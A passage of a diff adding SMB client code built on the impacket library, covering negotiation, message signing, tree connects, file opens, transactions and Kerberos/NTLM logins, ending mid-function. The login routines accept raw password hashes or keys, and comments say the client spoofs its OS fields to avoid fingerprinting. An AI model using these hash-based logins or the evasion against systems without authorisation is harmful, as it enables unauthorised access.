+    def set_flags(self, flags1=None, flags2=None):
+        if flags1 is not None:
+           self.__flags1 = flags1
+        if flags2 is not None:
+           self.__flags2 = flags2
+
+    def set_timeout(self, timeout):
+        prev_timeout = self.__timeout
+        self.__timeout = timeout
+        return prev_timeout
+
+    def get_timeout(self):
+        return self.__timeout
+
+    @contextmanager
+    def use_timeout(self, timeout):
+        prev_timeout = self.set_timeout(timeout)
+        try:
+            yield
+        finally:
+            self.set_timeout(prev_timeout)
+
+    def get_session(self):
+        return self._sess
+
+    def get_tid(self):
+        return self.tid
+
+    def get_fid(self):
+        return self.fid
+
+    def isGuestSession(self):
+        return self._action & SMB_SETUP_GUEST
+
+    def doesSupportNTLMv2(self):
+        return self.__isNTLMv2
+
+    def close_session(self):
+        if self._sess:
+            self._sess.close()
+            self._sess = None
+
+    def recvSMB(self):
+        r = self._sess.recv_packet(self.__timeout)
+        return NewSMBPacket(data = r.get_trailer())
+
+    @staticmethod
+    def __decode_trans(params, data):
+        totparamcnt, totdatacnt, _, paramcnt, paramoffset, paramds, datacnt, dataoffset, datads, setupcnt = unpack('<HHHHHHHHHB', params[:19])
+        if paramcnt + paramds < totparamcnt or datacnt + datads < totdatacnt:
+            has_more = 1
+        else:
+            has_more = 0
+        paramoffset = paramoffset - 55 - setupcnt * 2
+        dataoffset = dataoffset - 55 - setupcnt * 2
+        return has_more, params[20:20 + setupcnt * 2], data[paramoffset:paramoffset + paramcnt], data[dataoffset:dataoffset + datacnt]
+
+    # TODO: Move this to NewSMBPacket, it belongs there
+    def signSMB(self, packet, signingSessionKey, signingChallengeResponse):
+        # This logic MUST be applied for messages sent in response to any of the higher-layer actions and in
+        # compliance with the message sequencing rules.
+        #  * The client or server that sends the message MUST provide the 32-bit sequence number for this
+        #    message, as specified in sections 3.2.4.1 and 3.3.4.1.
+        #  * The SMB_FLAGS2_SMB_SECURITY_SIGNATURE flag in the header MUST be set.
+        #  * To generate the signature, a 32-bit sequence number is copied into the
+        #    least significant 32 bits of the SecuritySignature field and the remaining
+        #    4 bytes are set to 0x00.
+        #  * The MD5 algorithm, as specified in [RFC1321], MUST be used to generate a hash of the SMB
+        #    message from the start of the SMB Header, which is defined as follows.
+        #    CALL MD5Init( md5context )
+        #    CALL MD5Update( md5context, Connection.SigningSessionKey )
+        #    CALL MD5Update( md5context, Connection.SigningChallengeResponse )
+        #    CALL MD5Update( md5context, SMB message )
+        #    CALL MD5Final( digest, md5context )
+        #    SET signature TO the first 8 bytes of the digest
+        # The resulting 8-byte signature MUST be copied into the SecuritySignature field of the SMB Header,
+        # after which the message can be transmitted.
+
+        #print "seq(%d) signingSessionKey %r, signingChallengeResponse %r" % (self._SignSequenceNumber, signingSessionKey, signingChallengeResponse)
+        packet['SecurityFeatures'] = pack('<q',self._SignSequenceNumber)
+        # Sign with the sequence
+        m = hashlib.md5()
+        m.update( signingSessionKey )
+        m.update( signingChallengeResponse )
+        m.update( packet.getData() )
+        # Replace sequence with acual hash
+        packet['SecurityFeatures'] = m.digest()[:8]
+        if self._SignatureVerificationEnabled:
+           self._SignSequenceNumber +=1
+        else:
+           self._SignSequenceNumber +=2
+
+    def checkSignSMB(self, packet, signingSessionKey, signingChallengeResponse):
+        # Let's check
+        signature = packet['SecurityFeatures']
+        #print "Signature received: %r " % signature
+        self.signSMB(packet, signingSessionKey, signingChallengeResponse)
+        #print "Signature calculated: %r" % packet['SecurityFeatures']
+        if self._SignatureVerificationEnabled is not True:
+           self._SignSequenceNumber -= 1
+        return packet['SecurityFeatures'] == signature
+
+    def sendSMB(self,smb):
+        smb['Uid'] = self._uid
+        #At least on AIX, PIDs can exceed 16 bits, so we mask them out
+        smb['Pid'] = (os.getpid() & 0xFFFF)
+        # set flags
+        smb['Flags1'] |= self.__flags1
+        smb['Flags2'] |= self.__flags2
+        if self._SignatureEnabled:
+            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+            self.signSMB(smb, self._SigningSessionKey, self._SigningChallengeResponse)
+
+        self._sess.send_packet(smb.getData())
+
+    @staticmethod
+    def isValidAnswer(s, cmd):
+        while 1:
+            if s.rawData():
+                if s.get_command() == cmd:
+                    if s.get_error_class() == 0x00 and s.get_error_code() == 0x00:
+                        return 1
+                    else:
+                        raise SessionError( "SMB Library Error", s.get_error_class()+ (s.get_reserved() << 8), s.get_error_code() , s.get_flags2() & SMB.FLAGS2_NT_STATUS)
+                else:
+                    break
+        return 0
+
+    def neg_session(self, extended_security = True, negPacket = None):
+        def parsePacket(smb):
+            # If server speaks Unicode, let's set that flag from now on
+            if smb['Flags2'] & SMB.FLAGS2_UNICODE:
+                self.__flags2 |= SMB.FLAGS2_UNICODE
+
+            if smb.isValidAnswer(SMB.SMB_COM_NEGOTIATE):
+                sessionResponse = SMBCommand(smb['Data'][0])
+                self._dialects_parameters = SMBNTLMDialect_Parameters(sessionResponse['Parameters'])
+                self._dialects_data = SMBNTLMDialect_Data()
+                self._dialects_data['ChallengeLength'] = self._dialects_parameters['ChallengeLength']
+                self._dialects_data.fromString(sessionResponse['Data'])
+                if self._dialects_parameters['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:
+                    # Whether we choose it or it is enforced by the server, we go for extended security
+                    self._dialects_parameters = SMBExtended_Security_Parameters(sessionResponse['Parameters'])
+                    self._dialects_data = SMBExtended_Security_Data(sessionResponse['Data'])
+                    # Let's setup some variable for later use
+                    if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED:
+                         self._SignatureRequired = True
+
+                    # Interestingly, the security Blob might be missing sometimes.
+                    #spnego = SPNEGO_NegTokenInit(self._dialects_data['SecurityBlob'])
+                    #for i in spnego['MechTypes']:
+                    #      print "Mech Found: %s" % MechTypes[i]
+                    return 1
+
+                # If not, let's try the old way
+                else:
+                    if self._dialects_data['ServerName'] is not None:
+                        self.__server_name = self._dialects_data['ServerName']
+
+                    if self._dialects_parameters['DialectIndex'] == 0xffff:
+                        raise UnsupportedFeature("Remote server does not know NT LM 0.12")
+                    return 1
+            else:
+                return 0
+
+        if negPacket is None:
+            smb = NewSMBPacket()
+            negSession = SMBCommand(SMB.SMB_COM_NEGOTIATE)
+            flags2 = self.get_flags()[1]
+            if extended_security is True:
+                self.set_flags(flags2=flags2|SMB.FLAGS2_EXTENDED_SECURITY)
+            else:
+                self.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
+
+            negSession['Data'] = b'\x02NT LM 0.12\x00'
+            smb.addCommand(negSession)
+            self.sendSMB(smb)
+
+            while 1:
+                smb = self.recvSMB()
+                return parsePacket(smb)
+        else:
+
+            return parsePacket( NewSMBPacket( data = negPacket))
+
+    def tree_connect(self, path, password = '', service = SERVICE_ANY):
+        LOG.warning("[MS-CIFS] This is an original Core Protocol command.This command has been deprecated.Client Implementations SHOULD use SMB_COM_TREE_CONNECT_ANDX")
+
+        # return 0x800
+        if password:
+            # Password is only encrypted if the server passed us an "encryption" during protocol dialect
+            if self._dialects_parameters['ChallengeLength'] > 0:
+                # this code is untested
+                password = self.get_ntlmv1_response(ntlm.compute_lmhash(password))
+
+        if not unicode_support:
+            if unicode_convert:
+                path = str(path)
+            else:
+                raise Exception('SMB: Can\t conver path from unicode!')
+
+        smb = NewSMBPacket()
+        treeConnect = SMBCommand(SMB.SMB_COM_TREE_CONNECT)
+        treeConnect['Parameters'] = SMBTreeConnect_Parameters()
+        treeConnect['Data']       = SMBTreeConnect_Data()
+        treeConnect['Data']['Path'] = path.upper()
+        treeConnect['Data']['Password'] = password
+        treeConnect['Data']['Service'] = service
+        smb.addCommand(treeConnect)
+        self.sendSMB(smb)
+
+        while 1:
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_TREE_CONNECT):
+                # XXX Here we are ignoring the rest of the response
+                return smb['Tid']
+            return smb['Tid']
+
+    def get_uid(self):
+        return self._uid
+
+    def set_uid(self, uid):
+        self._uid = uid
+
+    def tree_connect_andx(self, path, password = None, service = SERVICE_ANY, smb_packet=None):
+        if password:
+            # Password is only encrypted if the server passed us an "encryption" during protocol dialect
+            if self._dialects_parameters['ChallengeLength'] > 0:
+                # this code is untested
+                password = self.get_ntlmv1_response(ntlm.compute_lmhash(password))
+        else:
+            password = '\x00'
+
+        if not unicode_support:
+            if unicode_convert:
+                path = str(path)
+            else:
+                raise Exception('SMB: Can\t convert path from unicode!')
+
+        if smb_packet is None:
+            smb = NewSMBPacket()
+        else:
+            smb = smb_packet
+
+        # Just in case this came with the full path ,let's just leave
+        # the sharename, we'll take care of the rest
+
+        share = path.split('\\')[-1]
+        try:
+            _, _, _, _, sockaddr = socket.getaddrinfo(self.get_remote_host(), 80, 0, 0, socket.IPPROTO_TCP)[0]
+            remote_host = sockaddr[0]
+        except Exception:
+            remote_host =  self.get_remote_host()
+
+        path = '\\\\' + remote_host + '\\' +share
+        path = path.upper().encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
+
+        treeConnect = SMBCommand(SMB.SMB_COM_TREE_CONNECT_ANDX)
+        treeConnect['Parameters'] = SMBTreeConnectAndX_Parameters()
+        treeConnect['Data']       = SMBTreeConnectAndX_Data(flags=self.__flags2)
+        treeConnect['Parameters']['PasswordLength'] = len(password)
+        treeConnect['Data']['Password'] = password
+        treeConnect['Data']['Path'] = path
+        treeConnect['Data']['Service'] = service
+
+        if self.__flags2 & SMB.FLAGS2_UNICODE:
+            treeConnect['Data']['Pad'] = 0x0
+
+        smb.addCommand(treeConnect)
+
+        # filename = "\PIPE\epmapper"
+
+        # ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
+        # ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
+        # ntCreate['Data']       = SMBNtCreateAndX_Data()
+        # ntCreate['Parameters']['FileNameLength'] = len(filename)
+        # ntCreate['Parameters']['CreateFlags'] = 0
+        # ntCreate['Parameters']['AccessMask'] = 0x3
+        # ntCreate['Parameters']['CreateOptions'] = 0x0
+        # ntCreate['Data']['FileName'] = filename
+
+        # smb.addCommand(ntCreate)
+        self.sendSMB(smb)
+
+        while 1:
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_TREE_CONNECT_ANDX):
+                # XXX Here we are ignoring the rest of the response
+                self.tid = smb['Tid']
+                return self.tid
+            self.tid = smb['Tid']
+            return self.tid
+
+    # backwars compatibility
+    connect_tree = tree_connect_andx
+
+    @staticmethod
+    def getDialect():
+        return SMB_DIALECT
+
+    def get_server_name(self):
+        #return self._dialects_data['ServerName']
+        return self.__server_name
+
+    def get_client_name(self):
+        return self.__client_name
+
+    def get_session_key(self):
+        return self._SigningSessionKey
+
+    def set_session_key(self, key):
+        self._SignatureEnabled = True
+        self._SignSequenceNumber = 2
+        self._SigningSessionKey = key
+
+    def get_encryption_key(self):
+        if 'Challenge' in self._dialects_data.fields:
+            return self._dialects_data['Challenge']
+        else:
+            return None
+
+    def get_server_time(self):
+        timestamp = self._dialects_parameters['HighDateTime']
+        timestamp <<= 32
+        timestamp |= self._dialects_parameters['LowDateTime']
+        timestamp -= 116444736000000000
+        timestamp //= 10000000
+        d = datetime.datetime.utcfromtimestamp(timestamp)
+        return d.strftime("%a, %d %b %Y %H:%M:%S GMT")
+
+    def disconnect_tree(self, tid):
+        smb = NewSMBPacket()
+        smb['Tid']  = tid
+
+        smb.addCommand(SMBCommand(SMB.SMB_COM_TREE_DISCONNECT))
+
+        self.sendSMB(smb)
+        self.recvSMB()
+
+    def open(self, tid, filename, open_mode, desired_access):
+        filename = filename.replace('/', '\\')
+        filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename
+
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        openFile = SMBCommand(SMB.SMB_COM_OPEN)
+        openFile['Parameters'] = SMBOpen_Parameters()
+        openFile['Parameters']['DesiredAccess']    = desired_access
+        openFile['Parameters']['OpenMode']         = open_mode
+        openFile['Parameters']['SearchAttributes'] = ATTR_READONLY | ATTR_HIDDEN | ATTR_ARCHIVE
+        openFile['Data']       = SMBOpen_Data(flags=self.__flags2)
+        openFile['Data']['FileName'] = filename
+
+        smb.addCommand(openFile)
+
+        self.sendSMB(smb)
+
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_OPEN):
+            # XXX Here we are ignoring the rest of the response
+            openFileResponse   = SMBCommand(smb['Data'][0])
+            openFileParameters = SMBOpenResponse_Parameters(openFileResponse['Parameters'])
+
+            return (
+                openFileParameters['Fid'],
+                openFileParameters['FileAttributes'],
+                openFileParameters['LastWriten'],
+                openFileParameters['FileSize'],
+                openFileParameters['GrantedAccess'],
+            )
+
+    def open_andx(self, tid, filename, open_mode, desired_access):
+        filename = filename.replace('/', '\\')
+        filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename
+
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        openFile = SMBCommand(SMB.SMB_COM_OPEN_ANDX)
+        openFile['Parameters'] = SMBOpenAndX_Parameters()
+        openFile['Parameters']['DesiredAccess']    = desired_access
+        openFile['Parameters']['OpenMode']         = open_mode
+        openFile['Parameters']['SearchAttributes'] = ATTR_READONLY | ATTR_HIDDEN | ATTR_ARCHIVE
+        openFile['Data']       = SMBOpenAndX_Data(flags=self.__flags2)
+        openFile['Data']['FileName'] = filename
+
+        if self.__flags2 & SMB.FLAGS2_UNICODE:
+            openFile['Data']['Pad'] = 0x0
+
+        smb.addCommand(openFile)
+
+        self.sendSMB(smb)
+
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_OPEN_ANDX):
+            # XXX Here we are ignoring the rest of the response
+            openFileResponse   = SMBCommand(smb['Data'][0])
+            openFileParameters = SMBOpenAndXResponse_Parameters(openFileResponse['Parameters'])
+
+            return (
+                openFileParameters['Fid'],
+                openFileParameters['FileAttributes'],
+                openFileParameters['LastWriten'],
+                openFileParameters['FileSize'],
+                openFileParameters['GrantedAccess'],
+                openFileParameters['FileType'],
+                openFileParameters['IPCState'],
+                openFileParameters['Action'],
+                openFileParameters['ServerFid'],
+            )
+
+    def close(self, tid, fid):
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        closeFile = SMBCommand(SMB.SMB_COM_CLOSE)
+        closeFile['Parameters'] = SMBClose_Parameters()
+        closeFile['Parameters']['FID']    = fid
+        smb.addCommand(closeFile)
+
+        self.sendSMB(smb)
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_CLOSE):
+           return 1
+        return 0
+
+    def send_trans(self, tid, setup, name, param, data, noAnswer = 0):
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION)
+        transCommand['Parameters'] = SMBTransaction_Parameters()
+        transCommand['Data'] = SMBTransaction_Data()
+
+        transCommand['Parameters']['Setup'] = setup
+        transCommand['Parameters']['TotalParameterCount'] = len(param)
+        transCommand['Parameters']['TotalDataCount'] = len(data)
+
+        transCommand['Parameters']['ParameterCount'] = len(param)
+        transCommand['Parameters']['ParameterOffset'] = 32+3+28+len(setup)+len(name)
+
+        transCommand['Parameters']['DataCount'] = len(data)
+        transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param)
+
+        transCommand['Data']['Name'] = name
+        transCommand['Data']['Trans_Parameters'] = param
+        transCommand['Data']['Trans_Data'] = data
+
+        if noAnswer:
+           transCommand['Parameters']['Flags'] = TRANS_NO_RESPONSE
+
+        smb.addCommand(transCommand)
+
+        self.sendSMB(smb)
+
+    def send_trans2(self, tid, setup, name, param, data):
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        command = pack('<H', setup)
+
+        transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION2)
+        transCommand['Parameters'] = SMBTransaction2_Parameters()
+        transCommand['Parameters']['MaxDataCount'] = self._dialects_parameters['MaxBufferSize']
+        transCommand['Data'] = SMBTransaction2_Data()
+
+        transCommand['Parameters']['Setup'] = command
+        transCommand['Parameters']['TotalParameterCount'] = len(param)
+        transCommand['Parameters']['TotalDataCount'] = len(data)
+
+        if len(param) > 0:
+            padLen = (4 - (32+2+28 + len(command)) % 4 ) % 4
+            padBytes = '\xFF' * padLen
+            transCommand['Data']['Pad1'] = padBytes
+        else:
+            transCommand['Data']['Pad1'] = ''
+            padLen = 0
+
+        transCommand['Parameters']['ParameterCount'] = len(param)
+        transCommand['Parameters']['ParameterOffset'] = 32+2+28+len(command)+len(name) + padLen
+
+        if len(data) > 0:
+            pad2Len = (4 - (32+2+28 + len(command) + padLen + len(param)) % 4) % 4
+            transCommand['Data']['Pad2'] = '\xFF' * pad2Len
+        else:
+            transCommand['Data']['Pad2'] = ''
+            pad2Len = 0
+
+        transCommand['Parameters']['DataCount'] = len(data)
+        transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
+
+        transCommand['Data']['Name'] = name
+        transCommand['Data']['Trans_Parameters'] = param
+        transCommand['Data']['Trans_Data'] = data
+        smb.addCommand(transCommand)
+
+        self.sendSMB(smb)
+
+    def query_file_info(self, tid, fid, fileInfoClass = SMB_QUERY_FILE_STANDARD_INFO):
+        self.send_trans2(tid, SMB.TRANS2_QUERY_FILE_INFORMATION, '\x00', pack('<HH', fid, fileInfoClass), '')
+
+        resp = self.recvSMB()
+        if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):
+            trans2Response = SMBCommand(resp['Data'][0])
+            trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])
+            # Remove Potential Prefix Padding
+            return trans2Response['Data'][-trans2Parameters['TotalDataCount']:]
+
+    def __nonraw_retr_file(self, tid, fid, offset, datasize, callback):
+        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_READX) and self._SignatureEnabled is False:
+            max_buf_size = 65000
+        else:
+            max_buf_size = self._dialects_parameters['MaxBufferSize'] & ~0x3ff  # Read in multiple KB blocks
+
+        read_offset = offset
+        while read_offset < datasize:
+            data = self.read_andx(tid, fid, read_offset, max_buf_size)
+
+            callback(data)
+            read_offset += len(data)
+
+    def __nonraw_stor_file(self, tid, fid, offset, datasize, callback):
+        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_WRITEX) and self._SignatureEnabled is False:
+            max_buf_size = 65000
+        else:
+            max_buf_size = self._dialects_parameters['MaxBufferSize'] & ~0x3ff  # Write in multiple KB blocks
+
+        write_offset = offset
+        while 1:
+            data = callback(max_buf_size)
+            if not data:
+                break
+
+            smb = self.write_andx(tid,fid,data, write_offset)
+            writeResponse   = SMBCommand(smb['Data'][0])
+            writeResponseParameters = SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])
+            write_offset += writeResponseParameters['Count']
+
+    def get_server_domain(self):
+        return self.__server_domain
+
+    def get_server_dns_domain_name(self):
+        return self.__server_dns_domain_name
+
+    def get_server_dns_host_name(self):
+        return self.__server_dns_host_name
+
+    def get_server_os(self):
+        return self.__server_os
+
+    def get_server_os_major(self):
+        return self.__server_os_major
+
+    def get_server_os_minor(self):
+        return self.__server_os_minor
+
+    def get_server_os_build(self):
+        return self.__server_os_build
+
+    def set_server_os(self, os):
+        self.__server_os = os
+
+    def get_server_lanman(self):
+        return self.__server_lanman
+
+    def is_login_required(self):
+        # Login is required if share mode is user.
+        # Otherwise only public services or services in share mode
+        # are allowed.
+        return (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_USER
+
+    def is_signing_required(self):
+        return self._SignatureRequired
+
+    def get_ntlmv1_response(self, key):
+        challenge = self._dialects_data['Challenge']
+        return ntlm.get_ntlmv1_response(key, challenge)
+
+    def perform_hostname_validation(self):
+        if self.__server_name == '':
+            if not self._validation_allow_absent:
+                raise self.HostnameValidationException('Hostname was not supplied by target host and absent validation is disallowed')
+            return
+        if self.__server_name.lower() != self._accepted_hostname.lower() and self.__server_dns_host_name.lower() != self._accepted_hostname.lower():
+            raise self.HostnameValidationException('Supplied hostname %s does not match reported hostnames %s or %s' %
+                (self._accepted_hostname.lower(), self.__server_name.lower(), self.__server_dns_host_name.lower()))
+
+
+    def kerberos_login(self, user, password, domain = '', lmhash = '', nthash = '', aesKey = '', kdcHost = '', TGT=None, TGS=None):
+        # Importing down here so pyasn1 is not required if kerberos is not used.
+        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
+        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+        from impacket.krb5 import constants
+        from impacket.krb5.types import Principal, KerberosTime, Ticket
+        from pyasn1.codec.der import decoder, encoder
+        import datetime
+
+        # login feature does not support unicode
+        # disable it if enabled
+        flags2 = self.__flags2
+        if flags2 & SMB.FLAGS2_UNICODE:
+            self.__flags2 = flags2 & (flags2 ^ SMB.FLAGS2_UNICODE)
+
+        # If TGT or TGS are specified, they are in the form of:
+        # TGS['KDC_REP'] = the response from the server
+        # TGS['cipher'] = the cipher used
+        # TGS['sessionKey'] = the sessionKey
+        # If we have hashes, normalize them
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0%s' % lmhash
+            if len(nthash) % 2:
+                nthash = '0%s' % nthash
+            try: # just in case they were converted already
+                lmhash = a2b_hex(lmhash)
+                nthash = a2b_hex(nthash)
+            except:
+                pass
+
+        self.__userName = user
+        self.__password = password
+        self.__domain   = domain
+        self.__lmhash   = lmhash
+        self.__nthash   = nthash
+        self.__aesKey   = aesKey
+        self.__kdc      = kdcHost
+        self.__TGT      = TGT
+        self.__TGS      = TGS
+        self._doKerberos= True
+
+        # First of all, we need to get a TGT for the user
+        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        if TGT is None:
+            if TGS is None:
+                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
+        else:
+            tgt = TGT['KDC_REP']
+            cipher = TGT['cipher']
+            sessionKey = TGT['sessionKey']
+
+        # Now that we have the TGT, we should ask for a TGS for cifs
+
+        if TGS is None:
+            serverName = Principal('cifs/%s' % self.__remote_name, type=constants.PrincipalNameType.NT_SRV_INST.value)
+            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
+        else:
+            tgs = TGS['KDC_REP']
+            cipher = TGS['cipher']
+            sessionKey = TGS['sessionKey']
+
+        smb = NewSMBPacket()
+
+        # Are we required to sign SMB? If so we do it, if not we skip it
+        if self._SignatureRequired:
+           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+
+
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
+
+        sessionSetup['Parameters']['MaxBufferSize']        = 61440
+        sessionSetup['Parameters']['MaxMpxCount']          = 2
+        sessionSetup['Parameters']['VcNumber']             = 1
+        sessionSetup['Parameters']['SessionKey']           = 0
+        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX
+
+
+        # Let's build a NegTokenInit with the NTLMSSP
+        # TODO: In the future we should be able to choose different providers
+
+        blob = SPNEGO_NegTokenInit()
+
+        # Kerberos v5 mech
+        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
+
+        # Let's extract the ticket from the TGS
+        tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
+        ticket = Ticket()
+        ticket.from_asn1(tgs['ticket'])
+
+        # Now let's build the AP_REQ
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = list()
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq,'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = domain
+        seq_set(authenticator, 'cname', userName.components_to_asn1)
+        now = datetime.datetime.utcnow()
+
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 11
+        # AP-REQ Authenticator (includes application authenticator
+        # subkey), encrypted with the application session key
+        # (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        blob['MechToken'] = pack('B', ASN1_AID) + asn1encode(pack('B', ASN1_OID) + asn1encode(
+            TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ + encoder.encode(apReq))
+
+        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
+        sessionSetup['Parameters'].getData()
+        sessionSetup['Data']['SecurityBlob']       = blob.getData()
+
+        # Fake Data here, don't want to get us fingerprinted
+        sessionSetup['Data']['NativeOS']      = 'Unix'
+        sessionSetup['Data']['NativeLanMan']  = 'Samba'
+
+        smb.addCommand(sessionSetup)
+        self.sendSMB(smb)
+
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):
+            # We will need to use this uid field for all future requests/responses
+            self._uid = smb['Uid']
+
+            # Now we have to extract the blob to continue the auth process
+            sessionResponse   = SMBCommand(smb['Data'][0])
+            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
+            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
+            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
+            sessionData.fromString(sessionResponse['Data'])
+
+            self._action = sessionParameters['Action']
+            # If smb sign required, let's enable it for the rest of the connection
+            if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED:
+               self._SigningSessionKey = sessionKey.contents
+               self._SignSequenceNumber = 2
+               self._SignatureEnabled = True
+
+            # restore unicode flag if needed
+            if flags2 & SMB.FLAGS2_UNICODE:
+                self.__flags2 |= SMB.FLAGS2_UNICODE
+
+            return 1
+        else:
+            raise Exception('Error: Could not login successfully')
+
+    def login_extended(self, user, password, domain = '', lmhash = '', nthash = '', use_ntlmv2 = True ):
+
+        # login feature does not support unicode
+        # disable it if enabled
+        flags2 = self.__flags2
+        if flags2 & SMB.FLAGS2_UNICODE:
+            self.__flags2 = flags2 & (flags2 ^ SMB.FLAGS2_UNICODE)
+
+        # Once everything's working we should join login methods into a single one
+        smb = NewSMBPacket()
+        # Are we required to sign SMB? If so we do it, if not we skip it
+        if self._SignatureRequired:
+           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
+
+        sessionSetup['Parameters']['MaxBufferSize']        = 61440
+        sessionSetup['Parameters']['MaxMpxCount']          = 2
+        sessionSetup['Parameters']['VcNumber']             = 1
+        sessionSetup['Parameters']['SessionKey']           = 0
+        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX
+
+
+        # Let's build a NegTokenInit with the NTLMSSP
+        # TODO: In the future we should be able to choose different providers
+
+        blob = SPNEGO_NegTokenInit()
+
+        # NTLMSSP
+        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+        auth = ntlm.getNTLMSSPType1(self.get_client_name(),domain,self._SignatureRequired, use_ntlmv2 = use_ntlmv2)
+        blob['MechToken'] = auth.getData()
+
+        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
+        sessionSetup['Parameters'].getData()
+        sessionSetup['Data']['SecurityBlob']       = blob.getData()
+
+        # Fake Data here, don't want to get us fingerprinted
+        sessionSetup['Data']['NativeOS']      = 'Unix'
+        sessionSetup['Data']['NativeLanMan']  = 'Samba'
+
+        smb.addCommand(sessionSetup)
+        self.sendSMB(smb)
+
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):
+            # We will need to use this uid field for all future requests/responses
+            self._uid = smb['Uid']
+
+            # Now we have to extract the blob to continue the auth process
+            sessionResponse   = SMBCommand(smb['Data'][0])
+            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
+            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
+            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
+            sessionData.fromString(sessionResponse['Data'])
+            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
+
+            # Let's parse some data and keep it to ourselves in case it is asked
+            ntlmChallenge = ntlm.NTLMAuthChallenge(respToken['ResponseToken'])
+            if ntlmChallenge['TargetInfoFields_len'] > 0:
+                av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])
+                if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
+                   try:
